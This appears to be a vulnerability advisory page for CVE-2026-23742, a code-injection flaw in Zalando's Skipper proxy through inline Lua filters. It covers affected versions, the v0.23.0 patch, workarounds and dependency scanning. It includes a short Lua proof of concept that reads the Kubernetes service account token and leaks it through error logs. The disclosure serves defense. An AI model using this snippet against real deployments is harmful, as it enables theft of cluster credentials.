CVE-2026-23742 is a high-severity (CVSS 8.8) Code Injection vulnerability in github.com/zalando/skipper. A fix is available for github.com/zalando/skipper — see the affected versions and patch details below.
Skipper arbitrary code execution through lua filters
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-23742.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/zalando/skipperReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Arbitrary code execution through lua filters.
The default skipper configuration before v0.23 was -lua-sources=inline,file.
The problem starts if untrusted users can create lua filters, because of -lua-sources=inline , for example through a Kubernetes Ingress resource. The configuration inline allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.
Kubernetes example (vulnerability is not limited to Kubernetes)
function request(ctx, params)
local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
if file then
local token = file:read('*all')
file:close()
error('[EXFIL] ' .. token) -- Exfiltrate via error logs
end
end
Patches
https://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.
Workarounds
You can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example -lua-sources=file will only be exploitable if the attacker can create a lua script file on the target system.
References
https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/zalando/skipper | all versions | 0.23.0go get github.com/zalando/skipper@v0.23.0 |
Affected Products
skipperzalandoDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/zalando/skipper, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/zalando/skipper to 0.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-23742 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2026-23742 in your dependencies?
Find it across Go, including transitive dependencies.